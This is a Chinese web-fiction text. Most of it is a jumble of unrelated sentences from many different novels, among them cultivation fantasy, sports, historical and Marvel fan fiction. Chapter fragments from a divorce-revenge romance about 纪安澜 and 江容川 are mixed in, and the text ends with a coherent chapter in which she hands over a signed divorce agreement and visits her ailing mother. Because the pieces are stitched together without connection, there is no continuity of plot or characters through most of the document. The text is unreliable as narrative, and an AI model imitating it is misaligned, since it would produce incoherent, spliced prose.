望着气息恐怖无比的君陌尘,黑衣男子的目光之中却是浮现出一抹讽刺之色。
现在吃鸡首页用的就是陆风的封面,超管已经把他的直播间放在了流量首页,只要一进去平台就能看到陆风直播间那醒目的标题。
之前,贼寇头子张献忠攻破凤阳,坏了圣上的祖陵,这个艾能奇就是罪魁祸首之一。
离开凤凰城十多天,雨水渐多。杨炯的意念还是只能扩散出二十丈远,脑海中的意念云朵,五种淡淡的颜色略有加深。金,绿,蓝,红,黄五色区域,已占了意念云朵的大部分。
天照神念向圣脉中扫去,一下就看到了静坐的龙白渊。龙白渊被他神念一激,打了一个冷颤,赶紧出了圣脉,到了天照不远处。
不断有能量汇聚于此,光球也越来越大,四人姐这样僵持着,仿佛谁先撑不住谁就输了一样。
但现在,球迷们翘首以盼的事情,已经成为了现实!原本灰暗的扣篮大赛,瞬间就变得星光璀璨了起来。
即使是游戏再丰富的玩家在面对某种极其危急的情况时,也会忍不住会下意识的紧张,不过唯一的区别大概就是有些人无法控制这种情况,而有些人则可以在最大程度的上的避免这种情况的发生罢了。
“不行,我不能现在突破!”忽然,林风像是想起了什么,猛然停住了修炼。
“等我们采下檀心花,便能治好师弟的伤势,到时再找虹光派报仇。”白眉道。
另外,其余的武技,明日争取在王琳离开之前一起去挑选。让她带一份走。
这场胜利没什么好说的,双方之间巨大的实力差距,所有人都有目共睹。
不过,让江东略有些惊讶的是,洞里面的存在似乎没有想象中的那么强大,否则这一击无法将三叉戟震退。瞬间方圆十几里彻底安静下来,罗马人惊的目瞪口呆。
你的脸‘色’很不好看!赶紧去接受治疗,还有\\呃!你怎么了?羽辰突然发现,离清雪的眼中好像闪过一点亮光,羽辰感到那应该是泪。羽辰不禁感到好笑,这么坚强的离大姐头竟然有好像S哭的征兆。
念玉大怒,手上内法一吐,那瘸腿少年痛的一咧嘴。只是她想到他们都是吴天之子,眼前之人也必无例外,于是才沒有再下狠手。她终于明白为何婷婷想要杀死瘸腿少年之时,李宽让她住手,而是要交给吴天师叔处置了。
赵蕙和李振国买了两瓶酒,到存包处取了包,走出了商场,便去表叔家了。
这五方势力四百多人,皆相互戒备,精神高度集中,气氛紧张到了极点。
嘴角一搭,清脆的声音缓缓而来,脚下的金莲一摆,冷火雪雨已经到了四面墙壁,其中一面的侧边。
简简单单的一句话瞬间使金夜炫皱起了双眉,有那么一瞬间的僵硬,却还是没有逃过秦栩理的眼睛,他不自觉地加重了握着咖啡杯的右手,但脸部却依然平静如水。
她的嘴一张一合地念着大段大段的咒术,纸人也随之而渐渐升起来,腾空到与丁爽额头持平处便挺了下来。八方阵点的铃铛此时也不断地配合着毛七七所念的咒术响成一片。
秦寿想想,原著里孙悟空也是上山后干了好几年的杂活,学了好几年的一般东西才学到了神通的。
赵蕙哭着说:“一会儿再背!”她的眼泪再也控制不住,她呜咽着。
冷火雪雨脸上气呼呼的表情,一闪而逝,眼眸复杂的盯着那道远走的背影,心内一时的时光荏苒,让她有种不名的感觉。
再一次见到金夜炫,是在三天以后。他斜靠在车门上,微笑地冲我抬了抬下巴,以一种观赏演出的眼神向我瞟了一眼。
第一卷 第45章 去局子里讲笑话吧!
江曦月捂着脸,不可置信地扭头盯着江容川。
“哥,你竟然打我?”
“为了纪安澜?”
“一个外人?”
从小,她哥最疼她,从没有说过一句重话,无论做什么事,永远都有江容川兜底。
可今天,竟然为了纪安澜打她?
身边有慕紫晴这样一个体贴的红颜知己,连自己丈夫喜欢都掌握一清二楚,连她这个妻子都需要她來提醒,恰恰她做的很到位,从不出格让人找不到不妥之处,是让她时时刻刻有危机感吗?
林修平所在的府上,已经陷入了慌乱和混乱之中,下人们早已经跑得沒影,赶过來的,都是居住在附近的林家其他族人。
十五分钟后,林幂的倩影,出现在了会议室门口,与她同行的还有她的经纪人。
他们这边正沉浸在纸醉金迷的享乐里,大厅那边突然传來叫叫嚷嚷的声音,厉安仰头躺着,听着骂骂吵吵的叫喊很刺耳,不悦的睁开眼睛。
“杜同学,来坐……”校长尴尬地招呼杜微微进来,毕竟校长室门至今还打开着,直接地挑战了他一个做校长的权威。
厉安又好气又好笑,他知道自己那天说的话刺激到她了,想打个电话跟她解释,可是她的电话总是在占线中。
慕紫晴先进了客厅,四处打量,伸手捂住鼻子,有些嫌弃,许久不來这里完全变了一个样,房间四处摆满了花香味过浓,一时有些受不了。
增幅火属性的效果且不说。就说那自主吸收炎素和人为控制自爆的效用,那就不是一般的兵器所能够比拟的了。
那王若被气的显然不清,如果不是陈风的手上还有人质,她恐怕早就开枪了,而下一刻仇恨的对象,则多了一个那被陈风轻松拿下的警察。
她随便打了点粉底,就换上衣服出门,结果正碰上顾南舜衣装整齐的靠在门边等她。
赵家村的事,宁宁已经不再关注,早在高考成绩下来的那一天起,宁宁就抓捕了赵秀云身上的那只人魂。
“我发誓,真的是最后一次了。”恢复体力,祗园收拾衣物,咬牙切齿的强调。
马儿拉着马车进了院子,自己去了马厩,它刚到马厩,一个漏斗就漏出了很多草料。
陈倩把张强那借来的很多补丁的旧衣服整齐的放在桌子上,并脱掉了自己外衣,也放在了上面,慢步上床,拉开被子的一角,钻进了被子里。
酒还能有这么多作用?那还能叫酒吗?夜南山表示自己还真不知道,有点乡巴佬了。
都说唐宓背后有金主,之前进来和她关系暧昧的那位,看着倒是长相帅气,气质也不错,但比起眼前这位,怎么都算不上是有钱吧?
她空间里的东西一大堆,自从发现星网里的美食店可以通过菜谱完美地还原出一模一样的味道,她在星网里也能尝到各种各种的美食了。
夜南山虽然没说,但她自己知道,是因为她重伤,所以,夜南山才走不了。
威尔还是得逞了,或许祗园有一万种方法拒绝任何人,但就是没一种方法拒绝威尔,她想努力的摆出姐姐的威严,可他们之间的关系早变了味儿。
说着从怀里拿出一个药瓶抛给了老者,老者摸了摸瓶子上的唐门标记,就收了起来。
第一卷 第46章 她恨时,也不会心慈手软!
见周青竟然抵挡住了燃灯古佛伞的攻击,洛神歌的面色猛的一变,咬破舌尖,一口鲜血喷了上去,顿时,灯焰剧烈的晃动了一下,然后猛地膨胀一倍。
到底他连唐振霆的友谊也要失去了,如果唐振霆和顾云芷成为一对,这个消息传出去,京城不知道要掀起怎么样的狂风巨浪?
凤煮海忧郁的盯着漫天的冰雪。自从接到妖皇姑姑的命令,他和二弟凤焚原日夜不休,全力赶路,用了五天时间赶到北海。
游戏国度要把进行征战任务的这些人传送到夜鸦世界,就需要坐标。
并且,徐亮更是看到周遭的虚空间,有莫名的银色光点,从四面八法朝火焰这边汇聚而来,纷纷汇入进火焰之中,壮大旋转中的火焰。
鬼大命各位族人各自回家等候他的谈判消息,聚集在广场上的人陆陆续续地散了开来,到最后几乎就只剩下巫医,苏展,鬼大,鬼娇还有阿九等人了。
他们也知道对方,以后就是张家的亲戚,所以只是说了几句,并没有动手。
这样的一个宗门,和北斗帝国这样的顶级势力相比当然是微不足道,但放在药城这样的城池,却是一尊庞然大物,霸主级别的存在。
谢潮生看到顾云芷连忙跑了过来,他知道今天是顾云芷从军训出来的第一天,早就等着她过来了。
想到此处,袖子一扬,一道青光飞出,卷在了柳长生的腰间,带着柳长生向前飞驰而去。
来人正是诸葛亮的三弟,诸葛均,当初没有跟着一起去投靠刘备,而是去游历蜀中,寻访高人。
尤其是几年前出了郑王燕简与简叔玉合谋,而被燕追血洗郑王府上下之后,也对皇室宗亲有了震慑。
不过,明白归明白,李轩作为演员的本分,让他还是可以在这种虚伪的环境里,表现十分自然,在宴会之中继续保持游刃有余的客套状态,成功完成与一些名流重要人士们认识和熟识的过程。
他是经过社会主义熏陶,而后在资本主义深造的人,突然跑到奴隶贵族制的原始社会来了,自然不能接受这些东西。
陈发其实并没有准备说出如此高调的一句话,而是实在被那逐风和他同伴的口气恶心到了。
蔡琰运气似乎也不是太好,只切出一只苹果,易天行看过,那苹果虽然不是凡物,可也不是太珍贵,只是一种灵果而已,叫做平安果,吃下去,心神安宁,能给自身增加一切运气之类的。但效果不是太好。
虽然这样说有些阴暗,但随着陈珪的死,吕布这些天来只觉得神清气爽,灵魂仿佛被洗涤了一遍,念头通达,虽然系统没有任何提示,但吕布却感觉通体舒泰。
这满箱的首饰和珠宝,她收藏的各色宝石,她的这些金条,最后能保留多少,沈默云还真就没法保证。
原本很多没有空收看比赛直播,或者本来不太关注这个赛事的中立球迷们,在这样的精彩比赛情况下,那也是都纷纷对此表现出了一定的兴致,想要迅速及时重新了解下这场比较特殊的比赛到底其中发生了什么重要过程。
我对她摇了摇头,因为此刻我心里清楚,尽管是挂名弟子,天师道的虚灵子,也不会允许正道联盟如此对付我的。
分配房间,开什么玩笑,我们现在哪有时间停留,趁着龙秀在讨论对策的时候,我们偷偷的前往湖心岛,寻找湖神的下落才是正途。
谁知道我还没来得及动手,罗副总忽然发出诡异的笑声,身子一转,竟然直接朝侧面的窗口冲了过去。
“本太子凭什么相信你,如果你骗了我,到时候我的魂毒无药可医,等我一死大幽自然落入你们的控制之中,我们冥家王朝岂不毁了?”冥萃立刻质疑起来。
“魏鹏举,这件事与你何干?你可别狗拿耗子多管闲事,否则别怪你龙爷不客气。”龙成宇有些愤怒的说道。
“好吧!”此刻,皇甫行天看了我几秒之后,就叹了口气,点了点头。
渡边三郎等人屏住了呼吸,越发觉得之前自己的想法非常可笑。这种修为别说陆青帝,就算是那位威震神州的轩辕长空都未必能敌。
“混账东西,你怎么能沾染这种让人唾弃的东西!“方家家主看不下了,他引以为傲的儿子如今却是被鬼上身,已然是不人不鬼。
在出租屋冰凉的地面上,一个装着湿衣服的盆子倒扣在地上,沈秋躺在地上,身下是一片鲜红,那鲜红的血液和浑浊的脏水汇聚在一起,映入陈耀眼中。
伍军赐一支接一支的抽烟,在办公室里走来走去,作为中原战区的司令员,这一次,中原战区在疗伤系统的方面出了大风头。他和老搭档郑之民,都已经有了消息,明年去军委基本定局。
“这三瘤香根和青脉凤翅果是什么东西?”郑政委额头上有点冒汗。
与此同时,有更多的人已经领到东西,从里面挤出来,三三两两凑在一起议论。
“雪儿,你们的人能上去吗,这么陡的悬崖···”凌雨寒到不是瞧不起他们,可毕竟这些人完全不会轻功,这么高的悬崖不是那么容易上的。
你去撩妹我都睁一只眼闭一只眼了,你还闹得满城风雨?冷雨萱不生气才有鬼。
“我靠,按错了!”吴邪有点抓狂,刚要打回去,刘清涟连忙按住他。
摄魂术施展时,如果对方的神识力强,施展者很容易反噬,反而反控与对方。
虽然还是嚷嚷着要一个礼拜才决定,但是苏落知道他肯定会答应的,这个礼拜绝壁是回去收拾包袱。
水树坐在一张椅子上,看着屏幕上面的显示,这种古老的“大脑袋”屏幕,真是好古董的东西了。好在显示的还算是清晰,能够很清楚的看到,两个班级的学生们已经行动起来。
第一卷 第47章 无罪释放
冷漠疏离的表情,让江容川愣住了。
本以为听见他不原谅,纪安澜会恐慌。
可她不仅没有,反而脸上张扬着自信和冷漠。
这还是他认识的纪安澜吗?
好像不知不觉间,纪安澜已经成长到他完全陌生的地步。
“这倒是一个好办法。可是,谁来做这个事情,你可有人选?”丰立道人问道。
圆生道:“是否与寺中几位师兄商议一下然后和南海阮施主打声招呼,”智空摆手道:不可,阮施主不问江湖世事,况且他早已将欧阳胜强逐出门下,此事就不要去打扰了他的清修。
别说是他们看不懂眼前的情况,就是叶轩这些有着不少修为的法者,都是一头雾水,眼前的情况,从来都没有遇见,以他们的见识,也不知道是什么情况。
微微失望之下,来到城外找了一处隐蔽之地,直接遁入土中,在地底深处打造了一处洞府,恢复体内灵气。
荆楚嫣将江平手中的功法夺了过来,向天上一扔,顿时这本控火术在灵气的作用下化作粉碎,一片片如同落叶一般飘在翠玉湖面上。
虽然叶轩三人不爽庞劲风的言语,但这一次却是将事情推脱过去,庞劲风走后,三人在心里盘算着,要不要离开这里,但就在这时,庞劲风却是回头看向他们。
而他之所以选择这种方式,也是想要看看,自己在速度这一方面的训练,到底有着怎样的成效,现在看来,成果还是很令人满意的。
当初,清乐真人为了保护江平,将袁氏兄弟关于江平的记忆直接抹掉,所以他的结论也只能来自于他的师父弘毅。弘毅碍于清乐真人命令,自然不能讲清楚。
那名手下也是惊恐万分,他们哪知道叶子枫拥有传送门这个神器。
然而赵哒哒还是低估了假喜鹊的胆子,在她回房为明天做准备时,销声匿迹了许久的假喜鹊突然又出现在了社交媒体上。
天擎一语落下,后排的座位中不约而同一片唏嘘之声响起。皇曲丹虽好,但在众人眼中,一百万的价值却是更胜前者。
司徒雅茹微微一笑,说道“到了你不就知道了,走吧,先上车吧。”说完就先走进了车里。
到了下午一点半,忽然就看超现实化电脑提出警示,拦截者一号的提示出现,说有人正在试图攻击,拦截者一号已经自动启动隐藏模式。
不管是兽人还是精灵,全都是一脸的疲惫。虽然心里兴奋,可是心里却紧张的要死。
元尾那意思十分明显,就是让紫魅显出原形并骑在她的身上飞过山谷。
要说我一个平平淡淡的人,虽然我不是很帅,有时还惹人烦,但是哥的身高摆在了这里。
安排了自己所能想到的一切,元尾将所有棕盐窟所有修炼者召集到中厅。此时的棕盐窟已经没了榆犀的威压,它们可以到处自由穿梭。
可是,正如有句话说的那样,幸运总是与不幸同在的。当你打开一扇门的时候,总会有一扇窗因你关闭。
偶尔,能看见在垃圾桶旁翻找,蓬头垢面的流浪汉或迎面走过来笑嘻嘻的看着你笑衣衫褴褛的疯子。
到得峰顶,一眼便看到了在花树下品茗对弈的怀凡和凌月,她走上前去端起凌月面前的杯盏“咕咚咕咚”将里面的茶水喝了个底朝天后又斟了一杯握在手中,然后偎依在他身旁“认真”地观看起了棋局。
第一卷 第48章 怎么可能是假的!
林毅的内心与此同时猛然一惊,再次朝着那两头大猫看去,却是只见其周身萦绕着丝丝黑气,而两双眼睛也是投放出阵阵红芒,看着那两双红色的眼睛,林毅霎时倒吸一口凉气。
沈槐和齐凛刚回寝殿准备换身衣裳歇息的时候,齐寒怒气冲冲地闯了进来。
因此在多个国家将自己的视线,转移到自己国家内部的矛盾时,非洲的事情自然而然的就顺理成章的发生了。当所有人的注意力转回来时,已经木已成舟,就算你在怎么谴责,也可以说是无济于事了。
冷老和柳爷都是大惊,我滴乖乖,和氏璧,那是什么概念?古往今来,多少王侯将相为了这么一块玉争的你死我活,血流成活。
“啪!啪!”一连串脚步声响起,回头一看上千人堵在他们身后。
也不晓得她的命运是好是坏,第一次,咱们五人见到她的时分,她固然一枪打爆了汽油仓,杀死了上百名可汗,不过,却也死了几个伙伴,以后更是在单挑中间被我胸袭了。
顺着声音望去,王南北目测了一下,身高一米六七左右,帽檐下一副精致的面容,淡雅的素妆,恰如其分的身材衬着一身合体的警服,显得极为的干练。
此时的林毅自然是能够听到那噬魂的声音,脸上尽是不可思议的神情,怎么也没就想到这噬魂竟是同意自己接受那噬魔九天诀的转移。
他因为身份特殊的原因,在整个拍卖还没开始的时候,就在后台挑选了几件中意的古玩,本想着等活动结束带走,可刚才一时情急说出了那样的大话,结果还输的这么惨,被楚铮抓住了把柄。
“这酒坛子是你埋下去的吗?”夜棋的目光巴巴的看着,好奇的开口询问。
主要沁安县城地处山区,入冬以来又一直是雨雪天气,临近年关遭遇几十年难遇的地震,完全让人措手不及,一丝一毫的防备都没有。
姜煜进了院门,抱着她一直往里走,路过喷泉和草坪,总算停在了屋门口。
许多人大叫,甚至要崩溃,也有人反应过来,疑问这里究竟是什么地方,眼前血气长虹中那些密密麻麻的影子是什么?
最后一个是他的人头飞上空中发出的声音,声音仿佛被切断似的,人头落在沈风的手上,他手接住扈绞的人头立于万人山贼面前,一股抵挡万军的气势从身上倾泄而出,万余人的山贼却被他一人所震慑,齐齐往后退。
“当然,我出钱你们杀人,天经地义的事情,不要说你们对我韩易有意见,我韩易要跟你们做买卖,你们却不给我面子。”韩易笑着说道。
这一次,没有人能阻止韩易创立这个机构,只是不知道下一步该如何去做罢了。
“晚上在我卧室睡好吗?”他说得声音中带着恳求……,怕失去她,真怕失去她,为什么,他就是觉得,他一定会得不到她呢??
拳头决定强弱,强的那一个,总能凭着心情,肆无忌惮地凌辱另一个。
巫勒心头狂颤,不仅是他,其他人也都愣在了那,李辰轩被巫勒一拳轰击在胸口,怎么可能反应都没有?
一道恐怖的掌力,悄无声息的,印在了冯靖的身上,蕴含着炙热的气息,自然不怕寒冷,瞬间突破那股寒意,直接给了冯靖一掌。
爱伏拉虽然是丘格一手提拔起来的,更在当年洛梅达克和夜郎大战的时候立过大功,也是赵炎亲自封赏授衔。故此,他在爱樱炎字军中也颇有威望。
如果,司马溪知道,自己愿望了她母后,害死了她还没出生的弟弟,还让她兄长司马玉,险些成了再不能凭双腿行走的废人,还……会不会,给自己求这个情,让纳兰述冒了风险,来救自己的性命?
在改建铺子的期间,花上雪与姜云闲每日里都忙碌着面摊的生意,努力为自己的铺子攒钱,起早贪黑的干着。
记忆中,他一有空就过来看看她,给了她尘世间最为珍贵的亲情和温暖,可是她为了能多见一次他,多得到些世间唯一的亲情和温暖,经常编出各种各样的理由骗他过来。
其实她关于代代积蓄力量,在后世儿孙手里再伺机复国的说法,不过是受了愚公移山的启发用来劝说葛佩放弃不切合实际的想法而已。
红衣大教主看向年轻人的眼中明显多了几分自豪,这是他的孙子,年纪轻轻就得到神的眷顾,对圣力娴熟无比,仿佛随时随刻都沐浴着神恩,他决定等自己退休了就让自己的孙子继承自己的位置,虽然那时候已经是几百年后。
“你会见识到的,看来你已经忘记上次的教训了。”南宫烈转过目光,落在了完颜慕的身上,笑道。
兰溪心里暗暗叫苦,刚打发一个蹭洗澡水,又招来了一个蹭冷气的,不行,得想办法打发了,要不还被烦死。
仔细看了一下战场,虽然银辉骑士已经挂掉七七八八,但是装备却是一件没有,看来应该是由于他人所杀的关系所以才取消装备的爆出。
第一卷 第49章 谁说我没钱?
‘哼,难道你以为只有你会懂得奥义吗?金之奥义‘无限绞杀’’随后只见空气中一阵阵肃杀之气与冰封装在一起,随即肉眼可见的速度彼此泯灭着。
“这些都不是正主,我猜子爵他们在第二辆马车上。”里奥说道。
\t还记得当时和黄恋红、钟大兵、董先生一起吃饭的时候,黄恋红说过,要是找到这种珠子,她想看一看。
‘也许,有些东西,是真的永垂不朽呢?只是你我并没有遇见而已。’李天锋笑着对风冷月说道。
见这帮年轻人居然还敢回嘴,那两个大汉更显愤怒,其中一个还解开了西装地钮扣,看样子是打算对学生们动手了。而另一个则伸手去抓面有痛苦之色的刘娇,开始用英语嚷嚷着要她赔车。
见到萧逸一声不吭的闯进舱里,伊莎立刻紧张起来,心里就像是在打鼓一样,扑通扑通跳个不停。
农村有个习俗,初五捏破五、缝破五,意思是大年初五这天,一定要缝件衣服、现包饺子,把一年不利于自己的事情,全部都捏住、缝住,这样一年都会顺当。
疼痛是如此剧烈,他的意识像是狂风暴雨中的蛛丝,仿佛随时都会粉身碎骨,消失得无影无踪,但他用尽全力让自己保持清醒——只有清醒,他才能想办法将自己从这种痛不欲生的境地中拯救出来。
听到滕雪剑的问话,问天歌开口说道‘因为这是一男人的战斗,而且就算你开口,也阻止不了这场战斗!’说道最后,问天歌声音之中都是一阵无奈的说道。
宋‘玉’瑶有些恋恋不舍地离开,顾萌的目光也随着她的离开而久久不能移开。
“还真是一个可怜的家伙,求助的时候竟然遇到了我们。”一个看起来挺正常,只是有点猥琐的地球人感叹着,他的名字是星爵,勇度的养子,唔,应该是养子。
“星爵?他告诉我他是地球人。”托尼对于叶开的话有些怀疑。而且他也有点无法相信,毁掉一个和月球那么大的一颗星球。
“噗,哈哈。”听了徐佐言的话,对面的高凌云突然就大笑了起来。
“出差了呗。”徐诗韵瞥了徐佐言一眼,回答道。而她的话刚落,徐佐言就乐了一声,关上门跑了,让徐诗韵一头露水。
这大长老就是悟世道人,他一向不太爱过问门派中事,只知修行,因为他是掌门他们这一代人的大师兄,所以也就随他了,很少有人会计较这事。
顿时,听了叶凯成这话,徐佐言就沒声音了,嘴巴动了动,最后还是闭嘴了,假装沒听到叶凯成的话。
欧阳杰,他抬眼,只是看到天花板,很明显他并不想开口说什么。
“做什么噩梦了?”颜笙开了床头灯,灯光驱散了黑暗,也映照出莯茶眸中残存的浓烈的恐惧。
双至在心中冷冷轻笑,老夫人还真说得出口,要她亲自去接石仙淑和赵少飞回来?她怎么不敢开口让石拓去接?
梁安安哪里都不好,就是长得漂亮,你还不是喜欢了这么长时间——当然了,这句话她没有说出口。
她连忙跟着李美丽一同到了她父母的卧房中,见美丽爹面色铁青,不住的说着胡话,人还有气儿,身上却已生了点点尸斑。
萧莫漓却是见她要走,伸手扣住她的手腕,微一用力,一把将她拉过去,跌到他怀里。
这些是她一开始就知道的,只是,她为了和他在一起,刻意将这些全都忽略。
她也仅仅知道这些,其他的,关于她自身的,毫无记忆,只是隐约觉得有种心绞的痛意,好像她忘了什么重要的事了。
前世直接出手陷害武安侯府的,可是李景。不管怎么说,先斩其爪牙,才好擒贼擒王。
老太爷颓然地看了石拓一眼,又看看双至,心里堵着一口气,却不知因为什么,也泄不出来。
他面上又露出残酷的笑容,抽出巨弩,瞄准了飞奔的林芝,真正的林芝。
“佑,佑霖,我们怎么会在这儿呢?这儿是什么地方呢?”叶柔心一看到薄佑霖,这才安心了些许。
陈凡也只好点点头,这几个月,一直在努力,成为武仙,直到今天,他终于实现。
“你怀疑,你们意外遇到的合虚境植物妖就是虹妖孽莲?”盘昊辰的好奇与探索之心被成功勾起来了。
最后,他们各自回房去清洗了全身粘稠的汗水与污垢,感觉自己浑身通透且轻盈了很多。
不过他绝对不赶说出来,他知道自己说出来之后绝对会被南宫语捏爆了脑袋。
不过这个匕首比较短,并没有把这金边熊的腿给划掉,只是划断了一半,不过这样已经是很疼了。
算来算去,除了爷爷、父母、山雪、山河跟自己外,还真没有白帅的位置。
现在事情也揭穿了,既然欧云尔问起来,雷恩斯就直接把真相全部告诉她。
刘老师这边也是嘿嘿一笑,我能不能上你们那边教学,就看你怎么说了,要是我们家老婆子同意的话,我就去。
且不说正餐与主食,光甜点就有六七十种,放了整整七张桌子,绝不是一般自助餐厅可比的。
江震那边也是应声,直接就挂断了电话,而马飞眼中则是一下就透出了寒光。
第一卷 第50章 好狗不挡道
“什么?”
江容川和赵毅异口同声。
仿佛平地一声惊雷,把两个人都吓得不轻。
两人的目光齐刷刷地看向了财务,眼中充满了不可置信。
赵毅快步走过去,目光扫过财务面前的电脑,果然看见上面有一长串零的数字。
同样的饼干游戏,其他嘉宾更注重的是咬掉饼干,还有不能碰到嘴唇。
除了最开始见到燕鸿飞时候有些惊艳于他的俊美容貌外,燕皎皎已经是见他一次,厌恶就更多一分了。
对于皇帝和许皇后这对夫妻的叙述更是少而又少。尤其是许皇后,更是反派的存在——爱子痴傻之后,许皇后心中愤懑,处处陷害太子殿下,最后在夺权中失败,于冷宫之中悬梁自尽。
【后世许多人认为大同机车厂是一五项目,所以就是156重点工程,其实是一种谬误。
隔着公交车的玻璃,她嘟囔完后抬起头,看见少年看着车辆启动,脸上原本紧绷的表情放松了一些,他转过头来,回答了刚才的那个关于时间的问题。
他的金手指,没有任何预示,征兆,只要他心里头念头一动,就能穿越。
众人下意识看向之前那名被斩杀的武者,无头尸体还立在那里,格外瘆人。
“你们两个一个管人,一个管经济,如果你们相互闹矛盾,那么怎么去经营海桐市?怎么去带一个好头?”梁丘继续训话。
三大传承并不承认他,他想进入原本江澜灵魂驻扎的水潭,几乎比登天还难。
现在自己父亲刚刚出事不久,如果不符合资质的话,肯定也不能帮。
宋廷越口口声声说爱她,可她家破产之后,他却没有出手帮她,冷眼旁观太让人心寒了。
“敌人的飞船准备开炮了,能级飞速上升,达到五百万度。”班纳扫描到了能量反应。
说着她在手机上一阵捣鼓,再次放到于飞的眼皮底下,屏幕上是一张清晰度不算太高的照片。
面对几件二级地宝,他们只能望洋兴叹,因为这样的地宝价格不菲,每件需要七千或一万以上的幽灵炁铁。
白秀月拉了一下还想要说些什么的许月雯,对着她轻轻摇了摇头。
紫宁得到这些以后当然是欣喜若狂,越发坚定了跟从放个的决心。
“唉……反正你以后自己硬气点儿吧,别老是被她欺负了!”得了白秀月的暗示,许月雯最后只能这样说了。
“我答应你……”托尼说出了这一句话,答应下来,顿时心脏的血液重新恢复了正常,但是他已经接近虚脱。
雷鸣:是指闪电极度高热使空气剧烈膨胀、迅速移动,因此形成波浪并发出声音。
茅哲一脚踩在已经倒地的罗旭胸膛,不给他起身的机会,手中厚背大砍刀刀尖处闪烁着幽暗之色,在罗旭脸上划出一道长长的痕迹。
其实林铮不想当一个专权主义这,林铮很想继续搞“无为而治”的那一套,但是好像不太现实,要实现自己的一些想法,那自己就必须把权力紧紧攥在手里。
寻常人得到一个封号斗罗的承诺,都恨不得去自己家的祖坟拜祭一下,然后千思万想,才会去说出来。
茉莉绝望的看着肆无忌惮屠杀族人的超凡狗头人,哪怕早已经知道结局,可还是忍不住痛心。
第51章 离婚协议书我签好了
只有最熟络的人才知道刀子往哪扎才最痛。
江容川知道她最在意母亲,当然也在意母亲的画,故意拿画威胁她,就是想让她妥协。
如此卑劣的手段,她已经见怪不怪了。
眼底划过一抹失望,转瞬化为冷意,犹如经久不化的冰雪,冷冷地盯着江容川。
被她盯得有些心虚,江容川沉声道:“你只要退出这个项目,我可以把画给你一部分。”
“不需要了。”
纪安澜想都没想,断然拒绝。
江容川眉头紧锁,眼中划过一抹怀疑。
纪安澜怎么可能会不要她母亲的画?
视线犹如一道冷刃,直直地刺向他。
纪安澜从包里掏出一份早就准备好的文件,甩给了他。
上面赫然写着“离婚协议书”五个大字。
“你给我的离婚协议书,我已经签好了。”掀起眼眸,眼神淡漠,犹如在看一个陌生的人,“江总,抽个时间,我们赶紧把手续办了。”
江容川不可置信地低头看了一眼文件,上面赫然签着纪安澜的名字。
盯着那娟秀的字体,他的心里一阵钝痛,仿佛被一只无形的手狠狠攥住。
抬起头,盯着那双黑白分明的眼眸,原本满眼是他的眼睛,此刻犹如被冰封的寒潭,再也没有了一丝感情。
江容川眼中划过一抹慌乱。
直到这一刻,他才真正地慌了。
纪安澜难道真的不要他了?
不可能,人人都知道纪安澜爱他入骨,怎可能轻易说放下就放下?
她一定是太生气了,所以才会用这种方法来警告他。
江容川在心里安慰着自己。
他的声音也软了下来,甚至还带着一丝连他自己都没有发现的讨好的意味。
“澜澜,别生气了,我刚刚只是在跟你开玩笑,你想要那个项目,就要吧,就当是我给你赔礼道歉了,以后我再也不惹你生气了,好不好?”
话音刚落,伸手就要去抓纪安澜的手腕。
纪安澜嫌恶地将手抽了回来。
“江总,请自重,我们已经离婚了。”
语气不咸不淡,冰冷的眸子里是毫不隐藏的嫌恶。
“我还没签字,不算离婚!”江容川拔高音量,似乎只有这样,纪安澜才不会离开他。
盯着那张嫩白的小脸,江容川急切地开口道:“别闹了,我给你道歉,现在想要什么我都可以给你,只要你能原谅我。”
黑曜石般的眸子闪烁着坚定,语气恳切,眼神里满是渴求。
这样的道歉,纪安澜等了十几年。
换作几年前,听了这话,她会痛哭流涕,感动得无以复加,可现在她已经不需要了。
“我回去,我们还像以前一样,我会加倍对你好,再也不惹你生气了!”
江容川再三保证,想要去抓纪安澜的手腕。
仿佛听了一个天大的笑话,纪安澜忍俊不禁,眼底满是嘲讽:“江容川,是在梦游吗?”
跟以前一样?亏他想得出来。
他们两个人早就没有半点可能了!
当她的爱意一点点地消磨殆尽,那些残酷的真相浮出水面,纪安澜早就已经决定与他割席,不仅要拿回属于她的东西,还要让他们付出应有的代价!
眸子里闪烁着冷芒,纪安澜冷声道:“别再浪费时间了,等你确定个日期,我们民政局见。”
话音刚落,冷冷地瞥了他一眼,越过他,大步流星地离开了。
江容川面色僵硬,眼睛直勾勾地看着纪安澜离去的方向,手指捏着离婚协议书,却感觉似有千斤重。
他的心里被失落填满,想到纪安澜那个决绝的眼神,眼底划过一抹恐慌。
努力克制着心里慌乱的情绪,安慰着自己,纪安澜只是生气耍小性子,只要再哄一哄,肯定能回来。
纪安澜从公司离开后,驱车前往疗养院。
她已经很久都没有见过母亲了。
如今打了胜仗,纪安澜也想让母亲知道。
病房里。
阳光映照在病床上,母亲静静地坐着,脸上挂着痴痴的笑。
纪安澜走进门,来到她面前,握住了她的手,黑白分明的眼眸,满是柔意,仔细地盯着她。
“妈,画廊,我拿回来了。”
从口袋里掏出来了钥匙,放在她面
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前,母亲的视线被吸引了一瞬。
纪安澜继续道:“你的那些画还没拿出来,但我一定会努力。”
话音刚落,如数家珍般,继续说着战果。
“我保住了江容川抢走的AI项目产权,教训了江曦月,把他送进了局子里,如今手握着远卓科技的十亿合作项目,又拿下了江容川在意的合作。”
顿了一下,纪安澜满眼信心:“放心,我一定会拿回属于我们的东西!”
母亲迷茫的眼神突然变得清明了。
她紧盯着纪安澜,嘴唇张合,表情变得有些着急。
反握住纪安澜的手,声线紧张:“的画,那幅画,一定要拿到!我的那幅画。”
纪安澜诧异的看着她的反应。
她则紧拉着纪安澜的手,一直重复着:“拿到我的画,一定要拿到!很重要!”
纪安澜想起之前她似乎也是这个反应,那些画对她真的很重要。
纪安澜紧皱着眉,不忍让她失望,犹豫了一瞬,答应了下来:“你放心,我会竭尽所能,把那些画全都拿回来!”
也不知道她有没有听进去,一直紧拽着纪安澜的手,眼睛死死地盯着纪安澜,表情急切,像是恢复了理智,又像是在发着疯。
不知不觉间,那双清明的眸子又逐渐变得浑浊。
手上的力道小了几分,纪安澜看着她的变化,眼底划过一抹心疼。
不知道她什么时候才能真正的好起来。
叹了口气,纪安澜扯着她有些苍老的手走出门,想要让她散散心。
来到走廊里,她突然停下脚步,目光环视了一周,松开了纪安澜的手。
定定地站在原地,眼睛一眨不眨地看着前方,空无无一物的地方,摆了个跳舞的姿势,竟自顾自地跳起舞来。
那是个古老的舞蹈,步履轻柔,身姿曼妙,纪安澜识得这舞,曾经她在她和父亲面前跳过。
